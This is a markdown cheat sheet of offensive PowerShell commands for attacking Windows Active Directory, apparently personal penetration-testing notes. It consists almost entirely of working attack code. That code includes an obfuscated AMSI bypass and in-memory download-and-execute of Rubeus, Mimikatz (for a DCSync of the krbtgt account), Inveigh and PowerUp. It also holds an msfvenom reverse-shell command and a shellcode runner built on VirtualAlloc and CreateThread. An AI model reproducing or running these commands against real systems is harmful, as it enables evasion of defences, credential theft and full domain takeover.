# Powershell process-injection

```
$xx = [Ref].Assembly.GetTypes(); Foreach($yy in $xx) {if ($yy.Name -like "*iUtils") {$vv = $yy}}; $ww = $vv.GetFields("NonPublic,Static"); Foreach ($uu in $ww) { if ($uu.Name -like "*nitFailed") {$ux = $uu}}; $ux.SetValue($null,$true)

$x = (New-Object System.Net.WebClient).downloadData('https://path/to/rubeus.exe')

$xa = [System.Reflection.Assembly]::Load($x);[Rubeus.Program]::Main("
asktgt /user:<username> /password:<password> /enctype:aes256 
/domain:.local /dc:ad03.local
/createnetonly:C:\Windows\System32\cmd.exe".Split())

$xa = [System.Reflection.Assembly]::Load($x);[Rubeus.Program]::Main("
asktgt /user:<username> /password:<password> /enctype:aes256 
/domain:.local /dc:..local /ptt".Split())

```

```
-- If you still have a DA shell anywhere lets try get krbtgt via lsass --
$xx = [Ref].Assembly.GetTypes(); Foreach($yy in $xx) {if ($yy.Name -like "*iUtils") {$vv = $yy}}; $ww = $vv.GetFields("NonPublic,Static"); Foreach ($uu in $ww) { if ($uu.Name -like "*nitFailed") {$ux = $uu}}; $ux.SetValue($null,$true)

IEX((New-Object System.Net.WebClient).downloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1'))

Invoke-Mimikatz -Command '"privilege::debug" "lsadump::dcsync /domain:.local /user:\krbtgt"'

```

####

#### Msf-venom:

### AMSI bypass:

```
$xx = [Ref].Assembly.GetTypes(); Foreach($yy in $xx) {if ($yy.Name -like "*iUtils") {$vv = $yy}}; $ww = $vv.GetFields("NonPublic,Static"); Foreach ($uu in $ww) { if ($uu.Name -like "*nitFailed") {$ux = $uu}}; $ux.SetValue($null,$true); IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1'); Invoke-Inveigh; IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks
```

####

Msf-venom:

`msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.224 LPORT=8008 -f powershell`

#### On windows :

```powershell
p $code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$winFunc =
Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;
[Byte[]];
[Byte[]]$sc = <MSFVENOM OUTPUT>;
$size = 0x1000;
if ($sc.Length -gt 0x1000) {$size = $sc.Length};
$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};
$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 }
```


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